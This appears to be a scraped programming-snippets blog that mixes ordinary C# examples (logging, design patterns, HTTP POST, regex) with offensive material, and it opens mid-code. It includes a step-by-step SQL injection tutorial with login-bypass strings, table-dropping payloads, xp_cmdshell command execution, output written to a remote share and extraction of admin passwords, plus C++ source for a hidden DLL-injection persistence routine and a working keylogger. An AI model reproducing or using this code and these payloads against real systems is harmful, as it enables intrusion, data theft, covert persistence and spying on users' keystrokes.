for(j=0;j+j]^keystream[j]);
printf("
");
}
exit(0);
}

WMI: Get DNS Host Name

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery _
("Select * from Win32_ComputerSystem")
For Each objItem in colItems
Wscript.Echo "Computer Name: " & objItem.Name
Next

Hooking Notepad.exe (c++)

//Hooking Notepad in c++
#include <windows.h>;
int main()
{
HOOKPROC hkprcSysMsg;
static HINSTANCE hinstDLL;
static HHOOK hhookSysMsg;
hinstDLL = LoadLibrary((LPCTSTR) "c:\\windows\\notepad.dll");
hkprcSysMsg = (HOOKPROC)GetProcAddress(hinstDLL, "SysMessageProc");
hhookSysMsg = SetWindowsHookEx(WH_SYSMSGFILTER,hkprcSysMsg,hinstDLL,0);
return 0;
}

Design pattern: Chain Of Responsibility

In object-oriented design, the chain-of-responsibility pattern is a design pattern consisting of a source of command objects and a series of processing objects.[1] Each processing object contains logic that defines the types of command objects that it can handle; the rest are passed to the next processing object in the chain. A mechanism also exists for adding new processing objects to the end of this chain.
In a variation of the standard chain-of-responsibility model, some handlers may act as dispatchers, capable of sending commands out in a variety of directions, forming a tree of responsibility. In some cases, this can occur recursively, with processing objects calling higher-up processing objects with commands that attempt to solve some smaller part of the problem; in this case recursion continues until the command is processed, or the entire tree has been explored. An XML interpreter might work in this manner.
This pattern promotes the idea of loose coupling, which is considered a programming best practice.


using System;
using System.IO;
namespace killercodes.designPatterns.ChainOfResponsibility
{
[Flags]
public enum LogLevel
{
None = 0, // 0
Info = 1, // 1
Debug = 2, // 10
Warning = 4, // 100
Error = 8, // 1000
FunctionalMessage = 16, // 10000
FunctionalError = 32, // 100000
All = 63 // 111111
}
/// <summary>
/// Abstract Handler in chain of responsibility pattern.
/// </summary>
public abstract class Logger
{
protected LogLevel logMask;
// The next Handler in the chain
protected Logger next;
public Logger(LogLevel mask)
{
this.logMask = mask;
}
/// <summary>
/// Sets the Next logger to make a list/chain of Handlers.
/// </summary>
public Logger SetNext(Logger nextlogger)
{
next = nextlogger;
return nextlogger;
}
public void Message(string msg, LogLevel severity)
{
if ((severity &amp; logMask) != 0) //True only if all logMask bits are set in severity
{
WriteMessage(msg);
}
if (next != null)
{
next.Message(msg, severity);
}
}
abstract protected void WriteMessage(string msg);
}
public class ConsoleLogger : Logger
{
public ConsoleLogger(LogLevel mask)
: base(mask)
{ }
protected override void WriteMessage(string msg)
{
Console.WriteLine("Writing to console: " + msg);
}
}
public class EmailLogger : Logger
{
public EmailLogger(LogLevel mask)
: base(mask)
{ }
protected override void WriteMessage(string msg)
{
// Placeholder for mail send logic, usually the email configurations are saved in config file.
Console.WriteLine("Sending via email: " + msg);
}
}
class FileLogger : Logger
{
public FileLogger(LogLevel mask)
: base(mask)
{ }
protected override void WriteMessage(string msg)
{
// Placeholder for File writing logic
Console.WriteLine("Writing to Log File: " + msg);
}
}
public class Program
{
public static void Main(string[] args)
{
// Build the chain of responsibility
Logger logger, logger1, logger2;
logger = new ConsoleLogger(LogLevel.All);
logger1 = logger.SetNext(new EmailLogger(LogLevel.FunctionalMessage | LogLevel.FunctionalError));
logger2 = logger1.SetNext(new FileLogger(LogLevel.Warning | LogLevel.Error));
// Handled by ConsoleLogger since the console has a loglevel of all
logger.Message("Entering function ProcessOrder().", LogLevel.Debug);
logger.Message("Order record retrieved.", LogLevel.Info);
// Handled by ConsoleLogger and FileLogger since filelogger implements Warning &amp; Error
logger.Message("Customer Address details missing in Branch DataBase.", LogLevel.Warning);
logger.Message("Customer Address details missing in Organization DataBase.", LogLevel.Error);
// Handled by ConsoleLogger and EmailLogger as it implements functional error
logger.Message("Unable to Process Order ORD1 Dated D1 For Customer C1.", LogLevel.FunctionalError);
// Handled by ConsoleLogger and EmailLogger
logger.Message("Order Dispatched.", LogLevel.FunctionalMessage);
}
}
}
/* Output
Writing to console: Entering function ProcessOrder().
Writing to console: Order record retrieved.
Writing to console: Customer Address details missing in Branch DataBase.
Writing to Log File: Customer Address details missing in Branch DataBase.
Writing to console: Customer Address details missing in Organization DataBase.
Writing to Log File: Customer Address details missing in Organization DataBase.
Writing to console: Unable to Process Order ORD1 Dated D1 For Customer C1.
Sending via email: Unable to Process Order ORD1 Dated D1 For Customer C1.
Writing to console: Order Dispatched.
Sending via email: Order Dispatched.
*/

SQL Injection

SQL Injection Tutorial (OldSchool)

What is SQL Injection?

SQL Injection the most popular method to pass SQL command deliberately from input filed in application. As a developer you should know how to prevent your application from SQL Injection. SQL Injection is one of the many web attack mechanisms used by hackers to steal data from organizations. It is perhaps one of the most common application layer attack techniques used today. It is the type of attack that takes advantage of improper coding of your web applications that allows hacker to inject SQL commands into say a login form to allow them to gain access to the data held within your database.

Which part of your application is in threat for SQL Injection?

SQL Injection is the hacking technique which attempts to pass SQL commands and SQL queries (statements) through a web application or desktop application for execution by the backend database. If not sanitized properly, web applications may result in SQL Injection attacks that allow hackers to view information from the database and/or even wipe it out.

Such features as login pages, support and product request forms, feedback forms, search pages, shopping carts and the general delivery of dynamic content, shape modern websites and provide businesses with the means necessary to communicate with prospects and customers. These website features are all examples of web applications which may be either purchased off-the-shelf or developed as bespoke programs. These website features are all susceptible to SQL Injection attacks which arise because the fields available for user input allow SQL statements to pass through and query the database directly.

Basic SQL Injection, power of 'T'='T'

Most login page is ask for User Name and Password from the user. User type the user name and password in the login form and submit for authenticate. System query the database with supplied user name and password if it found in the database it authenticate the user otherwise it show login fail message. When we submit the login page most login page will pass query to database like.

select * from user_master where user_name='" & TxtUserName.Text & "' and user_password ="" & TxtPassword.Text & "'"

If we type User Name as ANYUSER and Password as ANYPASS then actual query look like.

select * from user_master where user_name='ANYUSER' and user_password ='ANYPASS'

It will not work as there is no such user name and password in the table user_master. and it will show login fail message. Now just change your password and type ANYPASS' or 'T' = 'T and submit the page again. This time the query look like.

select * from user_master where user_name='ANYUSER' and user_password ='ANYPASS' or 'T' = 'T'

Now it works and you are able to login the page without knowing the user name and password. How it was happen. the query will always return all records from the database because 'T' = 'T' always True.

What are the SQL command you can pass

If the underlying database supports multiple command in single line, then you can pass any valid DML, DCL and DDL command through SQL injection. for example following command will drop user_master table from the database. For example type in password box ANYPASS' ; drop table user_master -- and submit the page again. this time underlying query looks like.

select * from user_master where user_name='ANYUSER' and user_password ='ANYPASS' ; drop table user_master -- '

Now it drop the user_master table from the database. In this case we pass drop table command along with password. -- two dash is comment for SQL no other code will be executed after that. If you know the table structure then you can Insert and update the record as well through SQL Injection.

SQL Injection by example

When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

This will help beginners with grasping the problems facing them while trying to utilize SQL Injection techniques, to successfully utilize them, and to protect themselves from such attacks.

This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the "11.0 Where can I get more info?" for people who truly deserve credit for developing many techniques in SQL injection.

What do you need for SQL Injection?

Any web browser.

Where to Start SQL Injection?

Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

Everything between the and have potential parameters that might be useful (exploit wise).

1. What if you can't find any page that takes input?

You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like: http://duck/index.asp?id=10

2. How do you test if it is vulnerable for SQL Injection?

Start with a single quote trick. Input something like: hi' or 1=1-- Into login, or password, or even in the URL. Example:

Login: hi' or 1=1--
Pass: hi' or 1=1--
http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:

<form action="http://duck/Search/search.asp" method="post">
    <input name="A" type="hidden" value="hi' or 1=1--" />
</form>

If luck is on your side, you will get login without any login name or password.

3. But why ' or 1=1-- is important in SQL Injection?

Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat =request("category")
sqlstr=&amp;quot;SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'. Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try ' or 'a'='a The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result. Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

4. How do I get remote execution with SQL injection?

Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec 
master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working. The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump 
icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5 How to get output of my SQL query by SQL Injection?

It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

6 How to get data from the database using ODBC error message by SQL Injection?

We can use information from error message produced by the MSSQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error 
converting the nvarchar value 'table1' to a column of data 
type int. 

/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1". To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. 

/index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".

7. How to mine all column names of a table by SQL Injection?

We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error 
converting the nvarchar value 'login_id' to a column of data 
type int. 
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. 
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. 

/index.asp, line 5

8. How to retrieve any data we want?

Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database. Now, let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. 

/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error 
converting the nvarchar value 'm4trix' to a column of data 
type int. 

/index.asp, line 5

We can now login as "neo" with his password "m4trix".

9. How to get numeric string value?

There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry. To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. 

/index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

10. How to update/insert data into the database by SQL Injection?

When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5',&#39;NA')--

We can now login as "neo2" with the password of "newpas5".

Hide your code in running executable (C++)

//Hide your code in running executable
#include "stdafx.h"
#include <windows.h>
#include <Tlhelp32.h>
const char exeMutex[] = "ExeMutex";
const char dllMutex[] = "DllMutex";
const char procesToInject[] = "notepad.exe";
const char dllPatch[] = "C:\\Dll.dll";
void makeMeImmortal()
{
DWORD WINAPI monitorDllProcess(void* nothing);
HANDLE mutex = CreateMutex(NULL, 0, exeMutex);
DWORD ID;
HANDLE hilo = CreateThread(0,0,monitorDllProcess,0,0, &ID);
}
DWORD WINAPI monitorDllProcess(void* nothing)
{
void injectDll(const char *processName);
int getPid(const char *processName);
HANDLE proc;
HANDLE mutex;
for(;;)
{
mutex = OpenMutex(SYNCHRONIZE, false, dllMutex);
if (mutex == NULL)
{
WinExec (procesToInject, SW_HIDE);
injectDll(procesToInject);
}
else
{
int pid = getPid(procesToInject);
if (pid != 0)
{
proc = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
WaitForSingleObject(proc, INFINITE); CloseHandle(proc);
}
}
CloseHandle (mutex);
}
}
void injectDll(const char *processName)
{
int getPid(const char *processName);
int pid = getPid(processName);
HANDLE proceso;
LPVOID RemoteString;
LPVOID nLoadLibrary;
proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");
RemoteString = (LPVOID)VirtualAllocEx(proceso,NULL,strlen(dllPatch),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
WriteProcessMemory(proceso,(LPVOID)RemoteString,(void*)dllPatch,strlen(dllPatch),NULL);
CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
CloseHandle(proceso);
}
int getPid(const char *processName)
{
int pid;
HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };
while(Process32Next(handle, &procinfo))
{
if(!strcmp(procinfo.szExeFile, processName))
{
CloseHandle(handle);
pid = procinfo.th32ProcessID;
}
}
CloseHandle(handle);
return pid;
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
void makeMeImmortal();
makeMeImmortal();
//Rest of YOUR code here.
}

Check if all numeric string

This C# code snippet checks to see if the specified string is all numeric, that is, contains no alphabetic characters.
using System.Text.RegularExpressions;
...
const string ALL_NUMERIC_PATTERN = "[a-z|A-Z]";
 
static readonly Regex All_Numeric_Regex = 
   new Regex (ALL_NUMERIC_PATTERN);
 
static bool AllNumeric ( string inputString )
{
   if (All_Numeric_Regex.IsMatch ( inputString ))
   { 
      return false;
   }
   return true;
}
Below is another solution:
using System.Text.RegularExpressions;
...
static bool AllNumeric(string inputString)
{
   return Regex.IsMatch(inputString, @"^\d+$");
}

Keylogger in C++

//Keylogger in C++
// This code will only work if you have Windows NT or 
    // any later version installed, 2k and XP will work. 
     
     
    #define _WIN32_WINNT 0x0400 
     
    #include  
    #include  
    #include  
     
    // Global Hook handle 
    HHOOK hKeyHook; 
     
     
     
    // This is the function that is "exported" from the 
    // execuatable like any function is exported from a 
    // DLL. It is the hook handler routine for low level 
    // keyboard events. 
     
    __declspec(dllexport) LRESULT CALLBACK KeyEvent ( 
     
      int nCode,   // The hook code 
      WPARAM wParam,  // The window message (WM_KEYUP, WM_KEYDOWN, etc.) 
      LPARAM lParam  // A pointer to a struct with information about the pressed key 
     
    ) { 
     if  ((nCode == HC_ACTION) &&   // HC_ACTION means we may process this event 
     ((wParam == WM_SYSKEYDOWN) ||  // Only react if either a system key ... 
     (wParam == WM_KEYDOWN)))   // ... or a normal key have been pressed. 
     { 
     
     //  This struct contains various information about 
     //  the pressed key such as hardware scan code, virtual 
     //  key code and further flags. 
     
     KBDLLHOOKSTRUCT hooked = 
     *((KBDLLHOOKSTRUCT*)lParam); 
     
     
     //  dwMsg shall contain the information that would be stored 
     //  in the usual lParam argument of a WM_KEYDOWN message. 
     //  All information like hardware scan code and other flags 
     //  are stored within one double word at different bit offsets. 
     //  Refer to MSDN for further information: 
     // 
     //  http://msdn.microsof...us/winui/winui/ 
     // windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp 
     // 
     //  (Keystroke Messages) 
     
     
     DWORD dwMsg = 1; 
     dwMsg += hooked.scanCode << 16; 
     dwMsg += hooked.flags << 24; 
     
     
     //  Call the GetKeyNameText() function to get the language-dependant 
     //  name of the pressed key. This function should return the name 
     //  of the pressed key in your language, aka the language used on 
     //  the system. 
     
     char lpszName[0x100] = {0}; 
     lpszName[0] = '['; 
     
     int i = GetKeyNameText(dwMsg, 
     (lpszName+1),0xFF) + 1; 
     
     lpszName[i] = ']'; 
     
     
     //  Print this name to the standard console output device. 
     
     FILE *file; 
     file=fopen("keys.log","a+"); 
     fputs(lpszName,file); 
     fflush(file); 
     } 
     
     
    //  the return value of the CallNextHookEx routine is always 
    //  returned by your HookProc routine. This allows other 
    //  applications to install and handle the same hook as well. 
     
     return CallNextHookEx(hKeyHook, 
     nCode,wParam,lParam); 
     
    } 
     
     
     
    // This is a simple message loop that will be used 
    // to block while we are logging keys. It does not 
    // perform any real task ... 
     
    void MsgLoop() 
    { 
     MSG message; 
     while (GetMessage(&message,NULL,0,0)) { 
     TranslateMessage( &message ); 
     DispatchMessage( &message ); 
     } 
    } 
     
     
    // This thread is started by the main routine to install 
    // the low level keyboard hook and start the message loop 
    // to loop forever while waiting for keyboard events. 
     
    DWORD WINAPI KeyLogger(LPVOID lpParameter) 
    { 
     
    //  Get a module handle to our own executable. Usually, 
    //  the return value of GetModuleHandle(NULL) should be 
    //  a valid handle to the current application instance, 
    //  but if it fails we will also try to actually load 
    //  ourself as a library. The thread's parameter is the 
    //  first command line argument which is the path to our 
    //  executable. 
     
     HINSTANCE hExe = GetModuleHandle(NULL); 
     if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); 
     
    //  Everything failed, we can't install the hook ... this 
    //  never happened, but error handling is important. 
     
     if (!hExe) return 1; 
     
     
     
     hKeyHook = SetWindowsHookEx (  // install the hook: 
     
     WH_KEYBOARD_LL, // as a low level keyboard hook 
     (HOOKPROC) KeyEvent,   // with the KeyEvent function from this executable 
     hExe,   // and the module handle to our own executable 
     NULL   // and finally, the hook should monitor all threads. 
     ); 
     
     
    //  Loop forever in a message loop and if the loop 
    //  stops some time, unhook the hook. I could have 
    //  added a signal handler for ctrl-c that unhooks 
    //  the hook once the application is terminated by 
    //  the user, but I was too lazy. 
     
     MsgLoop(); 
     UnhookWindowsHookEx(hKeyHook); 
     return 0; 
    } 
     
     
    // The main function just starts the thread that 
    // installs the keyboard hook and waits until it 
    // terminates. 
     
    int main(int argc, char** argv) 
    { 
     HANDLE hThread; 
     DWORD dwThread; 
     DWORD exThread; 
     
     hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) 
     KeyLogger, (LPVOID) argv[0], NULL, &dwThread); 
     
     if (hThread) { 
     return WaitForSingleObject(hThread,INFINITE); 
     } else { 
     return 1; 
     } 
    }

What is a design pattern?

What is a design pattern?

A design pattern is a proven design solution to a common problem faced by software developers. Design patterns became popular with the rise of Object Oriented Analysis and Design (OOAD). Design patterns are designed to help developers deliver higher quality, more easily maintained software products in less time and at lower cost.

Design patterns are:

  • encapsulated - They embody design knowledge regarding collaboration of classes and objects, distribution of
  • responsibility, and other design issues.
  • object-oriented - They incorporate OOAD principles—e.g., low coupling, high cohesion.
  • reusable - They are adaptable, flexible, general solutions to classes of problems with broad applicability. Design patterns simplify the task facing the developer.

    How did design patterns originate?

    The history of design patterns is quite short. They originated as an architectural concept proposed by Christopher Alexander in the late nineteen seventies (ca. 1977). Kent Beck and Ward Cunningham experimented with the notion of applying patterns to computer programming in the late nineteen eighties (ca. 1987). Design patterns did not become widely used in computer science until after Design Patterns: Elements of Reusable Object-Oriented Software by the so-called Gang of Four was published in 1994.

    How are design patterns classified?

    Design patterns are categorized to facilitate learning and extending them. They are classified in terms of the underlying problems they address, i.e. according to usage.

    The three main design pattern categories are:

  • Behavioral design patterns - characterize the manner of class and object interaction and how responsibilities are distributed among them.
  • Creational design patterns - address the object creation process. Creational design patterns encapsulate knowledge about how, when, and by whom an instance is created.
  • Structural design patterns - address the composition of classes and objects. Design patterns vary both in granularity and level of abstraction.

    Behavioral design patterns

  • Chain of Responsibility Define a method of passing a request among a chain of objects.
  • Command Encapsulate a command request in an object.
  • Interpreter Allow inclusion of language elements in an application.
  • Iterator Enable sequential access to collection elements.
  • Mediator Define simplified communication between classes.
  • Memento Save and restore the internal state of an object.
  • Observer Define a scheme for notifying objects of changes to another object.
  • State Alter the behavior of an object when its state changes.
  • Strategy Encapsulate an algorithm inside a class.
  • Template Method Allow subclasses to redefine the steps of an algorithm.
  • Visitor Define a new operation on a class without changint it.

    Creational design patterns

  • Abstract Factory Encapsulate a set of analogous factories that produce families of objects.
  • Builder Encapsulate the construction of complex objects from their representation; so, the same building process can create various representations by specifying only type and content.
  • Factory Method Allow subclasses to "decide" which class to instantiate.
  • Prototype Create an initialized instance for cloning or copying.
  • Singleton Ensure that only a single instance of a class exists and provide a single method for gaining access to it.

    Structural design patterns

  • Adapter Adapt an interface to an expected interface.
  • Bridge Decouple an interface from its implementation.
  • Composite Create a tree structure for part-whole hierarchies.
  • Decorator Extend functionality dynamically.
  • Façade (Facade) Simplify usage by defining a high-level interface.
  • Flyweight Support fine-grained objects efficiently by sharing.
  • Proxy Represent an object with another object for access control.
  • Strip all HTML tags

    This C# code snippet removes all HTML tags from the specified string and returns the stripped string.
    using System.Text.RegularExpressions;
    ...
    const string HTML_TAG_PATTERN = "<.*?>";
     
    static string StripHTML (string inputString)
    {
       return Regex.Replace 
         (inputString, HTML_TAG_PATTERN, string.Empty);
    }
    

    Empty the Recycle Bin

    This C# code snippet empties the Recycle Bin. Windows will display a confirmation dialog box.
    using System.Runtime.InteropServices;
    ...
     
    enum RecycleFlags : uint
    {
       SHERB_NOCONFIRMATION = 0x00000001,
       SHERB_NOPROGRESSUI   = 0x00000002,
       SHERB_NOSOUND        = 0x00000004
    }
     
    [DllImport("Shell32.dll", CharSet = CharSet.Unicode)]
    static extern uint SHEmptyRecycleBin 
     (IntPtr hwnd, 
     string pszRootPath,
     RecycleFlags dwFlags);
     
    public static void Main()
    {
        uint result = SHEmptyRecycleBin (IntPtr.Zero, null, 0);
        Console.WriteLine ("Result: {0}", result);
    }
    

    Ignore Invalid HTTPS certificate

    To ignore invalid HTTPS certicates calling HTTPS Web service (for example), it is necessary to implement a dummy callback for the ServicePointManager:
    using System.Net;
    ...
     
       ServicePointManager.ServerCertificateValidationCallback =
          new RemoteCertificateValidationCallback
             (IgnoreCertificateErrorHandler);
    ...
    private bool IgnoreCertificateErrorHandler
       (object sender,
       System.Security.Cryptography.X509Certificates.X509Certificate certificate,
       System.Security.Cryptography.X509Certificates.X509Chain chain,
       System.Net.Security.SslPolicyErrors sslPolicyErrors)
    {
     
       return true;
    }
    ...
    

    HTTP Post

    HTTP Post with C-Sharp

    This C# code snippet performs an HTTP Post and returns the response as a string.

    using System.Net;
    
    string HttpPost (string uri, string parameters)
    { 
       // parameters: name1=value1&name2=value2 
       WebRequest webRequest = WebRequest.Create (uri);
       
       // string ProxyString = 
       // System.Configuration.ConfigurationManager.AppSettings
       // [GetConfigKey("proxy")];
       // webRequest.Proxy = new WebProxy (ProxyString, true);
       // Commenting out above required change to App.Config
       
       webRequest.ContentType = "application/x-www-form-urlencoded";
       webRequest.Method = "POST";
       byte[] bytes = Encoding.ASCII.GetBytes (parameters);
       Stream os = null;
       try
       { // send the Post
          webRequest.ContentLength = bytes.Length;   //Count bytes to send
          os = webRequest.GetRequestStream();
          os.Write (bytes, 0, bytes.Length);         //Send it
       }
       catch (WebException ex)
       {
          MessageBox.Show ( ex.Message, "HttpPost: Request error", 
             MessageBoxButtons.OK, MessageBoxIcon.Error );
       }
       finally
       {
          if (os != null)
          {
             os.Close();
          }
       }
     
       try
       { // get the response
          WebResponse webResponse = webRequest.GetResponse();
          if (webResponse == null) 
             { return null; }
          StreamReader sr = new StreamReader (webResponse.GetResponseStream());
          return sr.ReadToEnd ().Trim ();
       }
       catch (WebException ex)
       {
          MessageBox.Show ( ex.Message, "HttpPost: Response error", 
             MessageBoxButtons.OK, MessageBoxIcon.Error );
       }
       return null;
    } // end HttpPost 
    view raw HTTP Post.cs.md hosted with ❤ by GitHub

    Log messages to a file

    This C# code snippet logs messages to a disk file for debugging or other logging purposes. Such code is especially useful when writing server applications which contain no user interface. Call the following simple method like:
    LogMessageToFile ("Message to be logged.");
    
    Automatically, the current datetime is inserted with your message into the log file.
    using System; 
    using System.IO; 
     
    public string GetTempPath()
    {
       string path = 
          System.Environment.GetEnvironmentVariable ("TEMP");
       if (!path.EndsWith ("\\"))
       {
          path += "\\";
       }
       return path;
    }
     
    public void LogMessageToFile (string message)
    {
       System.IO.StreamWriter sw = 
          System.IO.File.AppendText(
             GetTempPath() + "Logfile.txt"); // Change filename
       try
       {
          string logLine = 
             System.String.Format(
                "{0:G}: {1}.", System.DateTime.Now, message);
          sw.WriteLine(logLine);
       }
       finally
       {
          sw.Close();
       }
    }
    
    More sophisticated logging can be achieved using the Windows Event Log. Simply, create an event message source and either create a custom event log or use the application log. Typically, to add a source to the log, such logging programs will implement the System.Configuration.Install.Installer interface.
    And, the TraceListener infrastructure can be used to turn them on or off or redirect sources to debugger output, the Event Log, a text file, etc. A custom trace listener can log to an arbitrary log.

    Create/Delete a directory

    This C# code snippet first creates (makes) then deletes a directory (folder) from disk.
    using System;
    using System.IO;
     
    class DirectoryCreation
    {
       public static void Main()
       {
